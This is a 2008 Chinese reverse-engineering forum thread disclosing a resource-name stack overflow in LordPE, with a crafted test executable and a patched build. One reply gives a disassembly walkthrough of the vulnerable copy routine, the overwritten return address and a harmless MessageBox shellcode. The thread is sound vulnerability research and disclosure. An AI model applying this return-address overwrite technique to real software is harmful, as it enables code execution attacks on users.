首页
社区
课程
招聘
[原创]测试你的LordPE
发表于: 2008-5-16 16:28 36291

[原创]测试你的LordPE

2008-5-16 16:28
36291

用LordPE打开附件中的exe文件(98记事本)
PE Editor(PE编辑器)

Directories(目录)

Resource(资源)


测试文件
notepad.rar

替换文件
LordPE somuch.rar


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 8
支持
分享
最新回复 (52)
雪    币: 254
活跃值: (126)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
还好,我不用lordpe
2008-5-16 16:44
0
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
3
找qview的
这不是肯德基
2008-5-16 16:47
0
雪    币: 47147
活跃值: (20410)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
4
精彩,等大家讨论完后,建议somuch来篇文档就好。
2008-5-16 16:58
0
雪    币: 224
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
怎么回事?????
为什么??????
这不是肯德基
2008-5-16 17:00
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
奇怪...怎么回事哦...弄出了一个对话框
2008-5-16 18:07
0
雪    币: 272
活跃值: (143)
能力值: ( LV15,RANK:930 )
在线值:
发帖
回帖
粉丝
7
又溢了...
验证文件格式一步一步最容易出差错..

更新 lordpe 去
2008-5-16 18:12
0
雪    币: 255
活跃值: (207)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
8
解析资源的时候,资源名太长导致溢出。
2008-5-16 18:33
0
雪    币: 125
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
不行,是什么原因?有谁解释一下
这不是肯德基?
2008-5-16 18:35
0
雪    币: 282
活跃值: (31)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
资源名溢出漏洞。很适合恶意软件使用的漏洞。公布出来以免不小心中招
缓冲区长度检测是char,但是拷贝的时候是wchar,所以溢出了
2008-5-16 19:15
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
感谢,更新下
2008-5-16 22:52
0
雪    币: 1946
活跃值: (248)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
12
太强大了123456
2008-5-16 23:09
0
雪    币: 312
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
惊叹!这个。。。456789
2008-5-17 09:35
0
雪    币: 219
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
非常强大,,谢谢了!
2008-5-17 10:57
0
雪    币: 136
活跃值: (105)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
15
更换了lordpe 呵呵 溢出问题解决了
2008-5-17 15:13
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
16
学习................
2008-5-18 02:11
0
雪    币: 443
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
it's not KFC!!!!
2008-5-18 12:53
0
雪    币: 8107
活跃值: (1955)
能力值: ( LV8,RANK:122 )
在线值:
发帖
回帖
粉丝
18
修补的LordPE好像有问题
我开了10几个计算器,好些被识别为SYSTEM进程

用以前的可以正确识别,没这个问题
2008-5-18 13:16
0
雪    币: 239
活跃值: (160)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
我的好象没问题
上传的附件:
2008-5-18 15:43
0
雪    币: 282
活跃值: (31)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
20
没有仔细测试,只改了几个缓冲区的长度。也许有些问题
2008-5-18 16:38
0
雪    币: 199
活跃值: (17)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
21
最近在学习逆向,看到somuch大大找到的漏洞,羡慕不已 ,小小分析了一把,作为对自己的锻炼吧,呵呵。因本人水平有限,错误和疏漏之处请各位大大多多指点啊,我也进步的快些 ,谢谢。
Somuch的帖子中提供了一个程序“notepad.exe”,该程序被修改过,用LordPE装载该程序,查看其资源时会产生溢出。具体分析如下:

1、        用OD载入LordPE后,打开somuch提供的notepad.exe,找到打开资源项目对话框的地方:
0040F2D0   > \8B7424 08     mov     esi, dword ptr [esp+8]  ; Case 110 (WM_INITDIALOG) of switch 0040F265
0040F2D4   .  56            push    esi                  ; /Arg1
0040F2D5   .  E8 96010000   call    0040F470              ; \LordPE_h.0040F470

2、        跟入函数0040F470,找到载入资源的地方,跟踪之后发现是在读取图标名称的时候发生的溢出,跟入一个关键函数:0040F350
0040F7C5  |.  68 2C010000       ||push    12C
0040F7CA  |.  8D8D 6CFEFFFF     ||lea     ecx, dword ptr [ebp-194]
0040F7D0  |.  51                ||push    ecx
0040F7D1  |.  50                ||push    eax
0040F7D2  |.  E8 79FBFFFF       ||call    0040F350

3、        在函数0040F350中,其功能主要是:清空函数0040F470中的局部变量var_194h——该变量保存了IMAGE_RESOURCE_DIRECTORY_ENTRY结构中的name字段,在LordPE中,该局部变量被分配了12C个字节的空间,然后再把新的name值赋给var_194h,具体分析如下:
0040F350  /$  55                push    ebp
0040F351  |.  8BEC              mov     ebp, esp
0040F353  |.  6A FF             push    -1
0040F355  |.  68 48944100       push    00419448
0040F35A  |.  68 F0814100       push    <jmp.&MSVCRT._except_handler3>                        ;  SE 处理程序安装
0040F35F  |.  64:A1 00000000    mov     eax, dword ptr fs:[0]
0040F365  |.  50                push    eax
0040F366  |.  64:8925 00000000  mov     dword ptr fs:[0], esp
0040F36D  |.  83EC 0C           sub     esp, 0C
0040F370  |.  53                push    ebx
0040F371  |.  56                push    esi
0040F372  |.  57                push    edi
0040F373  |.  8965 E8           mov     dword ptr [ebp-18], esp                ;以上是开栈帧等的相关操作
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F376  |.  33D2              xor     edx, edx
0040F378  |.  8B45 08           mov     eax, dword ptr [ebp+8]                ;ebp+8是第一个传入参数,保存的是PE文件中资源项IMAGE_RESOURCE_DIRECTORY_ENTRY结构中的name字段
0040F37B  |.  66:8B10           mov     dx, word ptr [eax]                        ;用名字命名的资源name字段指向的是一个结构体:IMAGE_RESOURCE_DIR_STRING_U,这里是取该结构的第一个字段Length(字符串长度,为WORD型)赋给dx
0040F37E  |.  8B4D 10           mov     ecx, dword ptr [ebp+10]                ;ebp+10是第三个传入参数,总是为12Ch
0040F381  |.  8D41 FF           lea     eax, dword ptr [ecx-1]           ;去掉字符串中最后一个0后的长度,即12Bh
0040F384  |.  8D3412            lea     esi, dword ptr [edx+edx]        ;因为在资源中存放的名字字符串是UNICODE编码,所以这里相当于把字符串长度乘以2
0040F387  |.  3BF0              cmp     esi, eax                ;比较PE中资源的名字字符串的字节个数与LordPE能保存的最大长度,即12Bh
0040F389  |.  76 02             jbe     short 0040F38D        ;若PE中名字字符串的字节个数等于12Bh,则跳走
0040F38B  |.  8BD0              mov     edx, eax                ;否则强制设置从PE中读取的名字字符串的字节个数为LordPE能保存的最大长度,即12Bh,这里是保证数据不会溢出的。
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F38D  |>  33C0              xor     eax, eax
0040F38F  |.  8B5D 0C           mov     ebx, dword ptr [ebp+C]        ;ebp+C保存的是局部变量var_194h的指针,该变量保存的是PE中资源的名字字符串,其最大长度为12Ch(包含最后的0)
0040F392  |.  8BFB              mov     edi, ebx
0040F394  |.  8BF1              mov     esi, ecx                ;注意这里的ecx=12Ch
0040F396  |.  C1E9 02           shr     ecx, 2
0040F399  |.  F3:AB             rep     stos dword ptr es:[edi]
0040F39B  |.  8BCE              mov     ecx, esi
0040F39D  |.  83E1 03           and     ecx, 3
0040F3A0  |.  F3:AA             rep     stos byte ptr es:[edi]                ;以上这段是清空var_194h,全部设为0
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F3A2  |.  C745 FC 00000000  mov     dword ptr [ebp-4], 0
0040F3A9  |.  8D0C12            lea     ecx, dword ptr [edx+edx]                ;这里是溢出的关键,ecx为PE中名字字符串长度*2,这里出现严重错误,本来局部变量var_194h中只能存储12Ch(包含最后的0)个字符,但是这里却按照PE中名字字符串长度*2的长度来对其赋值,所以被溢出
0040F3AC  |.  8B45 08           mov     eax, dword ptr [ebp+8]
0040F3AF  |.  8D70 02           lea     esi, dword ptr [eax+2]
0040F3B2  |.  8BFB              mov     edi, ebx
0040F3B4  |.  8BC1              mov     eax, ecx
0040F3B6  |.  C1E9 02           shr     ecx, 2
0040F3B9  |.  F3:A5             rep     movs dword ptr es:[edi], dword ptr [esi]
0040F3BB  |.  8BC8              mov     ecx, eax
0040F3BD  |.  83E1 03           and     ecx, 3
0040F3C0  |.  F3:A4             rep     movs byte ptr es:[edi], byte ptr [esi]        ;以上是用PE中名字字符串给var_194h赋值
--------------------------------------------------------------------------------------------------------------------------------------------------------------
0040F3C2  |.  C745 FC FFFFFFFF  mov     dword ptr [ebp-4], -1
0040F3C9  |.  52                push    edx                           ; /Arg2
0040F3CA  |.  53                push    ebx                           ; |Arg1
0040F3CB  |.  E8 4028FFFF       call    00401C10                       ; 该函数主要是把UNICODE字符串变为char字符串

0040F3D0  |.  83C4 08           add     esp, 8
0040F3D3  |.  B8 01000000       mov     eax, 1
0040F3D8  |.  8B4D F0           mov     ecx, dword ptr [ebp-10]
0040F3DB  |.  64:890D 00000000  mov     dword ptr fs:[0], ecx
0040F3E2  |.  5F                pop     edi
0040F3E3  |.  5E                pop     esi
0040F3E4  |.  5B                pop     ebx
0040F3E5  |.  8BE5              mov     esp, ebp
0040F3E7  |.  5D                pop     ebp
0040F3E8  \.  C3                retn                                                        ;函数返回,注意栈空间

4、        因为局部变量var_194h是函数0040F470的,所以溢出是在0040F470中的,该变量在栈帧-194h处(在我这里是:0012ECCC处),要溢出返回地址的话,应该在该字符串第198h填写新的返回地址,而somuch的notepad.exe就是这样做的:
0012ECC4  CC CC CC CC CC CC CC CC 2B 94 41 00 E8 00 00 00  ;0041942B就是新的返回地址

5、        跳到该地址后发现是call esp,所以又会跳回0012ECD0,由于在上面的溢出中,把这里的栈空间也溢了,这里是一段shellcode代码:
0012ECD0    E8 00000000         call    0012ECD5                ;这里为了能让ebp指向当前栈顶,使用了call下条指令的方法,这样会把下条指令的地址压栈
0012ECD5    5D                  pop     ebp                        ;这里把上面压栈的地址弹出至ebp,而压栈的地址正是本条指令的地址0012ECD5,这样做便于用很少的指令来相对引用栈中的数据
0012ECD6    6A 00               push    0
0012ECD8    8D45 4F             lea     eax, dword ptr [ebp+4F]                ;栈中的溢出数据somuch
0012ECDB    50                  push    eax
0012ECDC    8D45 56             lea     eax, dword ptr [ebp+56]     ;栈中的溢出数据You Need Update LordPE! somuch
0012ECDF    50                  push    eax
0012ECE0    6A 00               push    0
0012ECE2    FF15 C4924100       call    dword ptr [<&USER32.MessageBoxA>]   ; USER32.MessageBoxA        ;显示上面的信息
0012ECE8    6A 00               push    0
0012ECEA    FF15 D8904100       call    dword ptr [<&KERNEL32.ExitProcess>]  ; kernel32.ExitProcess        ;退出程序

6、        这样就利用在复制字符串时的漏洞完成了一次溢出操作。
2008-5-19 02:59
0
雪    币: 282
活跃值: (31)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
22
支持~~~~
2008-5-19 08:15
0
雪    币: 282
活跃值: (31)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
23
需要查看我附件里面的记事本。那个是修改过的
2008-5-19 08:16
0
雪    币: 190
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
不明白什么意思但还是更新了
2008-5-19 19:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
这个版本还只支持显示60个进程,我的电脑就没法用,我是T60本本,启动进程太多了,不想建虚拟机了
有没有改造过的支持更多进程的版本啊?
2008-5-20 11:35
0
游客
登录 | 注册 方可回帖
返回
//